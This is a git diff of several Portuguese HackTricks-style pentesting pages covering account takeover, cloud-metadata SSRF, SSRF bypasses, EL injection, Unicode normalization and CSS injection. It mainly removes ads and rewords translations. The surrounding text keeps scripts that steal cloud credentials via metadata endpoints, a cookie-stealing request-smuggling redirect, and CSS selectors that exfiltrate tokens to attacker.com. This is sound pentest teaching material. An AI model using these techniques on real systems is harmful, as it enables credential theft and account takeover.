O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o motor **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -15,21 +15,8 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares de roubo**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o motor gratuitamente em:
{% embed url="https://whiteintel.io" %}
***
## Tomada de Registro
## Tomada de Conta de Registro
### Registro Duplicado
@ -50,13 +37,13 @@ Verifique se você consegue descobrir quando um nome de usuário já foi registr
### Política de Senha
Ao criar um usuário, verifique a política de senha (verifique se você pode usar senhas fracas).\
Nesse caso, você pode tentar forçar credenciais.
Nesse caso, você pode tentar forçar a autenticação de credenciais.
### Injeção SQL
### Injeção de SQL
[**Verifique esta página** ](sql-injection/#insert-statement)para aprender como tentar tomadas de conta ou extrair informações via **Injeções SQL** em formulários de registro.
[**Verifique esta página** ](sql-injection/#insert-statement)para aprender como tentar tomadas de conta ou extrair informações via **SQL Injections** em formulários de registro.
### Tomadas de Oauth
### Tomadas de Conta Oauth
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
@ -70,16 +57,16 @@ Nesse caso, você pode tentar forçar credenciais.
### Alterar Email
Quando registrado, tente alterar o email e verifique se essa alteração é corretamente validada ou se pode mudá-lo para emails arbitrários.
Quando registrado, tente alterar o email e verifique se essa alteração é validada corretamente ou se pode mudá-lo para emails arbitrários.
### Mais Verificações
* Verifique se você pode usar **emails descartáveis**
* **Senha** **Longa** (>200) leva a **DoS**
* **Verifique limites de taxa na criação de contas**
* **Verifique os limites de taxa na criação de contas**
* Use username@**burp\_collab**.net e analise o **callback**
## **Tomada de Redefinição de Senha**
## **Tomada de Conta de Redefinição de Senha**
### Vazamento de Token de Redefinição de Senha Via Referenciador <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
@ -119,7 +106,7 @@ email=victim@mail.com|hacker@mail.com
1. O atacante deve fazer login com sua conta e ir para a funcionalidade **Alterar senha**.
2. Inicie o Burp Suite e intercepte a solicitação.
3. Envie para a aba de repetição e edite os parâmetros: ID do usuário/e-mail\
3. Envie para a aba de repetição e edite os parâmetros: ID do usuário/email\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Token de Redefinição de Senha Fraco <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
@ -129,18 +116,18 @@ Tente determinar se o token expira ou se é sempre o mesmo; em alguns casos, o a
* Timestamp
* UserID
* E-mail do usuário
* Primeiro e último nome
* Data de nascimento
* Email do Usuário
* Primeiro e Último Nome
* Data de Nascimento
* Criptografia
* Apenas números
* Apenas Números
* Sequência de token pequena (caracteres entre \[A-Z,a-z,0-9])
* Reutilização de token
* Data de expiração do token
### Vazamento de Token de Redefinição de Senha <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. Acione um pedido de redefinição de senha usando a API/UI para um e-mail específico, por exemplo: test@mail.com
1. Acione uma solicitação de redefinição de senha usando a API/UI para um email específico, por exemplo: test@mail.com
2. Inspecione a resposta do servidor e verifique o `resetToken`
3. Em seguida, use o token em uma URL como `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
@ -148,7 +135,7 @@ Tente determinar se o token expira ou se é sempre o mesmo; em alguns casos, o a
1. Registre-se no sistema com um nome de usuário idêntico ao nome de usuário da vítima, mas com espaços em branco inseridos antes e/ou depois do nome de usuário. por exemplo: `"admin "`
2. Solicite uma redefinição de senha com seu nome de usuário malicioso.
3. Use o token enviado para seu e-mail e redefina a senha da vítima.
3. Use o token enviado para seu email e redefina a senha da vítima.
4. Conecte-se à conta da vítima com a nova senha.
A plataforma CTFd foi vulnerável a este ataque.\
@ -156,7 +143,7 @@ Veja: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Tomada de Conta Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. Encontre um XSS dentro da aplicação ou um subdomínio se os cookies estiverem escopados para o domínio pai: `*.domain.com`
1. Encontre um XSS dentro da aplicação ou em um subdomínio se os cookies estiverem escopados para o domínio pai: `*.domain.com`
2. Vaze o **cookie de sessões** atual
3. Autentique-se como o usuário usando o cookie
@ -166,7 +153,7 @@ Veja: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Crie uma solicitação que sobrescreva o `POST / HTTP/1.1` com os seguintes dados:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` com o objetivo de redirecionar as vítimas para burpcollab e roubar seus cookies\
3\. A solicitação final pode parecer a seguinte
3\. A solicitação final pode parecer com o seguinte
```
GET / HTTP/1.1
Transfer-Encoding: chunked
@ -202,17 +189,6 @@ JSON Web Token pode ser usado para autenticar um usuário.
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o motor **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## AWS
### Abusando de SSRF no ambiente AWS EC2
@ -37,7 +29,7 @@ Note que se a instância EC2 estiver forçando o IMDSv2, [**de acordo com a docu
Além disso, **IMDSv2** também **bloqueará requisições para buscar um token que incluam o cabeçalho `X-Forwarded-For`**. Isso é para evitar que proxies reversos mal configurados consigam acessá-lo.
{% endhint %}
Você pode encontrar informações sobre os [endpoints de metadados na documentação](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). No seguinte script, algumas informações interessantes são obtidas a partir dele:
Você pode encontrar informações sobre os [endpoints de metadados na documentação](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). No script a seguir, algumas informações interessantes são obtidas a partir dele:
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
@ -110,17 +102,17 @@ aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
Note que o **aws\_session\_token** é indispensável para o perfil funcionar.
Note que o **aws\_session\_token**, isso é indispensável para o perfil funcionar.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) pode ser usado com as credenciais descobertas para descobrir seus privilégios e tentar escalar privilégios.
### SSRF em credenciais do AWS ECS (Container Service)
### SSRF em credenciais do AWS ECS (Serviço de Contêiner)
**ECS** é um grupo lógico de instâncias EC2 nas quais você pode executar um aplicativo sem precisar escalar sua própria infraestrutura de gerenciamento de cluster, pois o ECS gerencia isso para você. Se você conseguir comprometer o serviço em execução no **ECS**, os **endpoints de metadados mudam**.
**ECS** é um grupo lógico de instâncias EC2 nas quais você pode executar um aplicativo sem precisar escalar sua própria infraestrutura de gerenciamento de cluster, porque o ECS gerencia isso para você. Se você conseguir comprometer o serviço em execução no **ECS**, os **endpoints de metadados mudam**.
Se você acessar _**http://169.254.170.2/v2/credentials/\<GUID>**_, você encontrará as credenciais da máquina ECS. Mas primeiro você precisa **encontrar o \<GUID>**. Para encontrar o \<GUID>, você precisa ler a variável **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** dentro da máquina.\
Se você acessar _**http://169.254.170.2/v2/credentials/\<GUID>**_ você encontrará as credenciais da máquina ECS. Mas primeiro você precisa **encontrar o \<GUID>**. Para encontrar o \<GUID> você precisa ler a variável **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** dentro da máquina.\
Você pode ser capaz de lê-la explorando um **Path Traversal** para `file:///proc/self/environ`\
O endereço http mencionado deve fornecer a **AccessKey, SecretKey e token**.
O endereço http mencionado deve lhe fornecer a **AccessKey, SecretKey e token**.
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
@ -146,7 +138,7 @@ Note que as **credenciais lambda** estão dentro das **variáveis de ambiente**.
### SSRF URL para AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
Nós recuperamos o `accountId` e a `region` da API.
Nós recuperamos o `accountId` e `region` da API.
```
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
@ -297,7 +289,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
```
{% endcode %}
### Funções em Nuvem <a href="#id-9f1f" id="id-9f1f"></a>
### Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>
O endpoint de metadados funciona da mesma forma que em VMs, mas sem alguns endpoints:
```bash
@ -564,12 +556,6 @@ Os metadados do Rancher podem ser acessados usando:
* `curl http://rancher-metadata/<version>/<path>`
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -15,14 +15,6 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### Localhost
```bash
# Localhost
@ -174,8 +166,8 @@ A ferramenta [**recollapse**](https://github.com/0xacb/recollapse) pode gerar va
### Bypass via redirect
Pode ser possível que o servidor esteja **filtrando a requisição original** de um SSRF **mas não** uma possível **resposta de redirecionamento** a essa requisição.\
Por exemplo, um servidor vulnerável a SSRF via: `url=https://www.google.com/` pode estar **filtrando o parâmetro url**. Mas se você usar um [servidor python para responder com um 302](https://pastebin.com/raw/ywAUhFrv) para o lugar onde você deseja redirecionar, você pode ser capaz de **acessar endereços IP filtrados** como 127.0.0.1 ou até mesmo **protocolos** filtrados como gopher.\
Pode ser possível que o servidor esteja **filtrando a solicitação original** de um SSRF **mas não** uma possível **resposta de redirecionamento** a essa solicitação.\
Por exemplo, um servidor vulnerável a SSRF via: `url=https://www.google.com/` pode estar **filtrando o parâmetro url**. Mas se você usar um [servidor python para responder com um 302](https://pastebin.com/raw/ywAUhFrv) para o lugar onde deseja redirecionar, você pode ser capaz de **acessar endereços IP filtrados** como 127.0.0.1 ou até mesmo **protocolos** filtrados como gopher.\
[Confira este relatório.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
@ -199,7 +191,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
```
## Truques Explicados
### Truque do Backslash
### Truque do Blackslash
O _truque do backslash_ explora uma diferença entre o [Padrão de URL WHATWG](https://url.spec.whatwg.org/#url-parsing) e o [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Enquanto o RFC3986 é uma estrutura geral para URIs, o WHATWG é específico para URLs da web e é adotado por navegadores modernos. A principal distinção reside no reconhecimento do padrão WHATWG de que a barra invertida (`\`) é equivalente à barra (`/`), impactando como as URLs são analisadas, especificamente marcando a transição do nome do host para o caminho em uma URL.
@ -216,11 +208,6 @@ imagem de [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-c
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -228,7 +215,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
<details>
<summary>Suporte ao HackTricks</summary>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -10,28 +10,14 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o motor gratuitamente em:
{% embed url="https://whiteintel.io" %}
***
## Informações Básicas
Expression Language (EL) é integral no JavaEE para conectar a camada de apresentação (por exemplo, páginas da web) e a lógica de aplicação (por exemplo, beans gerenciados), permitindo sua interação. É predominantemente usado em:
A Expression Language (EL) é integral no JavaEE para conectar a camada de apresentação (por exemplo, páginas da web) e a lógica de aplicação (por exemplo, beans gerenciados), permitindo sua interação. É predominantemente usada em:
* **JavaServer Faces (JSF)**: Para vincular componentes de UI a dados/ações de backend.
* **JavaServer Pages (JSP)**: Para acesso e manipulação de dados dentro de páginas JSP.
@ -42,7 +28,7 @@ Expression Language (EL) é integral no JavaEE para conectar a camada de apresen
* **Spring Framework**: Aplicado em vários módulos como Segurança e Dados.
* **Uso Geral**: Através da API SpEL por desenvolvedores em linguagens baseadas em JVM como Java, Kotlin e Scala.
A EL está presente nas tecnologias JavaEE, ambientes autônomos, e é reconhecível através das extensões de arquivo `.jsp` ou `.jsf`, erros de pilha e termos como "Servlet" nos cabeçalhos. No entanto, seus recursos e o uso de certos caracteres podem depender da versão.
A EL está presente nas tecnologias JavaEE, em ambientes autônomos, e é reconhecível através das extensões de arquivo `.jsp` ou `.jsf`, erros de pilha e termos como "Servlet" nos cabeçalhos. No entanto, seus recursos e o uso de certos caracteres podem depender da versão.
{% hint style="info" %}
Dependendo da **versão da EL**, alguns **recursos** podem estar **Ativados** ou **Desativados** e geralmente alguns **caracteres** podem ser **proibidos**.
@ -243,18 +229,6 @@ Verifique [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](http
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o motor **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -265,7 +239,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -15,27 +15,13 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o motor gratuitamente em:
{% embed url="https://whiteintel.io" %}
***
**Este é um resumo de:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Confira para mais detalhes (imagens retiradas de lá).
## Compreendendo Unicode e Normalização
A normalização Unicode é um processo que garante que diferentes representações binárias de caracteres sejam padronizadas para o mesmo valor binário. Este processo é crucial ao lidar com strings em programação e processamento de dados. O padrão Unicode define dois tipos de equivalência de caracteres:
1. **Equivalência Canônica**: Caracteres são considerados canonicamente equivalentes se tiverem a mesma aparência e significado quando impressos ou exibidos.
1. **Equivalência Canônica**: Caracteres são considerados canonicamente equivalentes se têm a mesma aparência e significado quando impressos ou exibidos.
2. **Equivalência de Compatibilidade**: Uma forma mais fraca de equivalência onde caracteres podem representar o mesmo caractere abstrato, mas podem ser exibidos de maneira diferente.
Existem **quatro algoritmos de normalização Unicode**: NFC, NFD, NFKC e NFKD. Cada algoritmo emprega técnicas de normalização canônica e de compatibilidade de maneira diferente. Para uma compreensão mais aprofundada, você pode explorar essas técnicas em [Unicode.org](https://unicode.org/).
@ -50,7 +36,7 @@ Compreender a codificação Unicode é fundamental, especialmente ao lidar com p
* **Processamento de Dados**: Sistemas que processam dados devem estar cientes da codificação utilizada para converter corretamente o fluxo de bytes em caracteres.
* **Variantes de UTF**: Além do UTF-8, existem outros padrões de codificação como UTF-16 (usando um mínimo de 2 bytes, até 4) e UTF-32 (usando 4 bytes para todos os caracteres).
É crucial compreender esses conceitos para lidar e mitigar efetivamente problemas potenciais decorrentes da complexidade do Unicode e seus vários métodos de codificação.
É crucial compreender esses conceitos para lidar efetivamente e mitigar potenciais problemas decorrentes da complexidade do Unicode e seus vários métodos de codificação.
Um exemplo de como o Unicode normaliza dois bytes diferentes representando o mesmo caractere:
```python
@ -60,7 +46,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
### Descoberta
Se você conseguir encontrar dentro de um webapp um valor que está sendo ecoado de volta, você pode tentar enviar **KELVIN SIGN (U+0212A)** que **normaliza para "K"** (você pode enviá-lo como `%e2%84%aa`). **Se um "K" for ecoado de volta**, então, algum tipo de **normalização Unicode** está sendo realizada.
Se você conseguir encontrar dentro de um webapp um valor que está sendo retornado, você pode tentar enviar **KELVIN SIGN (U+0212A)** que **normaliza para "K"** (você pode enviá-lo como `%e2%84%aa`). **Se um "K" for retornado**, então, algum tipo de **normalização Unicode** está sendo realizada.
Outro **exemplo**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` após **unicode** é `Leonishan`.
@ -126,18 +112,6 @@ A ferramenta [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* perm
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -15,19 +15,12 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## CSS Injection
### Seletor de Atributo
Os seletores CSS são elaborados para corresponder aos valores dos atributos `name` e `value` de um elemento `input`. Se o atributo de valor do elemento de entrada começar com um caractere específico, um recurso externo pré-definido é carregado:
Os seletores CSS são elaborados para corresponder aos valores dos atributos `name` e `value` de um elemento `input`. Se o atributo value do elemento de entrada começar com um caractere específico, um recurso externo pré-definido é carregado:
```css
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
@ -56,7 +49,7 @@ Um exemplo prático de exploração dessa técnica é detalhado no trecho de có
Para que a técnica de Injeção de CSS seja eficaz, certas condições devem ser atendidas:
1. **Comprimento do Payload**: O vetor de injeção de CSS deve suportar payloads suficientemente longos para acomodar os seletores criados.
1. **Comprimento do Payload**: O vetor de injeção de CSS deve suportar payloads suficientemente longos para acomodar os seletores elaborados.
2. **Reavaliação de CSS**: Você deve ter a capacidade de emoldurar a página, o que é necessário para acionar a reavaliação do CSS com payloads recém-gerados.
3. **Recursos Externos**: A técnica assume a capacidade de usar imagens hospedadas externamente. Isso pode ser restrito pela Política de Segurança de Conteúdo (CSP) do site.
@ -73,11 +66,11 @@ background:url(/m);
<input name=mytoken value=1337>
<input name=myname value=gareth>
```
Combinando isso com a seguinte técnica de **@import**, é possível exfiltrar uma grande quantidade de **info usando injeção CSS de páginas cegas com** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
Combinando isso com a seguinte técnica de **@import**, é possível exfiltrar uma grande quantidade de **info usando injeção de CSS de páginas cegas com** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
### @import
A técnica anterior tem algumas desvantagens, verifique os pré-requisitos. Você precisa ser capaz de **enviar múltiplos links para a vítima**, ou precisa ser capaz de **iframe a página vulnerável à injeção CSS**.
A técnica anterior tem algumas desvantagens, verifique os pré-requisitos. Você precisa ser capaz de **enviar múltiplos links para a vítima**, ou precisa ser capaz de **iframe a página vulnerável à injeção de CSS**.
No entanto, há outra técnica inteligente que usa **CSS `@import`** para melhorar a qualidade da técnica.
@ -92,10 +85,10 @@ Em vez de carregar a mesma página repetidamente com dezenas de diferentes paylo
